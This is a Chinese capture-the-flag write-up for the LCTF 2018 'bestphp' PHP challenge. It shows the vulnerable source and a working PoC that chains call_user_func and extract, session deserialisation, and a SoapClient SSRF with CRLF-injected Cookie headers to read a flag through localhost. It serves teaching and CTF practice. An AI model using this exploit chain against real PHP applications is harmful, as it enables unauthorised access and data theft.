bestphp reveng

知识点:
利用soap触发ssrf
session反序列化
call_user_func的使用
源码如下:
#index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

#flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

代码中的最后调用了$b函数,这肯定需要我们将$b替换成我们需要的函数,
extract可以满足我们这个需求。
我们的目的很明确,就是用本地地址去访问flag.php,然后再读取session中的flag。
这里再说一下call_user_func($b);如果传入的参数,是数组,且数组的第一个值是类名或者对象名的话,就会把数组的第二个值,当做方法,然后执行。
虽然没有现成的可利用的类,但是我们可以使用php原生类。
SoapClient
是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [array $options ]

如果我们传入call_user_func(array(‘SoapClient’,‘welcome_to_the_lctf2018’)),那么他就会调用SoapClient类的welcome_to_the_lctf2018方法,因为没有这个方法,所以就会自动调用__call()方法。完成发送http请求,

借鉴下其他大佬的poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
    ?>

因为此时还是php引擎所以最后加|
在这里插入图片描述
访问完成之后会将我们刚才传的name中的值进行反序列化,生成soap类,即此时的session是个soap对象。
接下来就是去访问这个对象了,因为我们可以利用extract将b替换成我们想用的函数,所以可以通过 call_user_func()调用soapclient,并且触发他的__call方法访问flag.php
在这里插入图片描述
此时传过去的session中已经包含刚才访问flag,php中的内容了,用该session再次访问即可。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值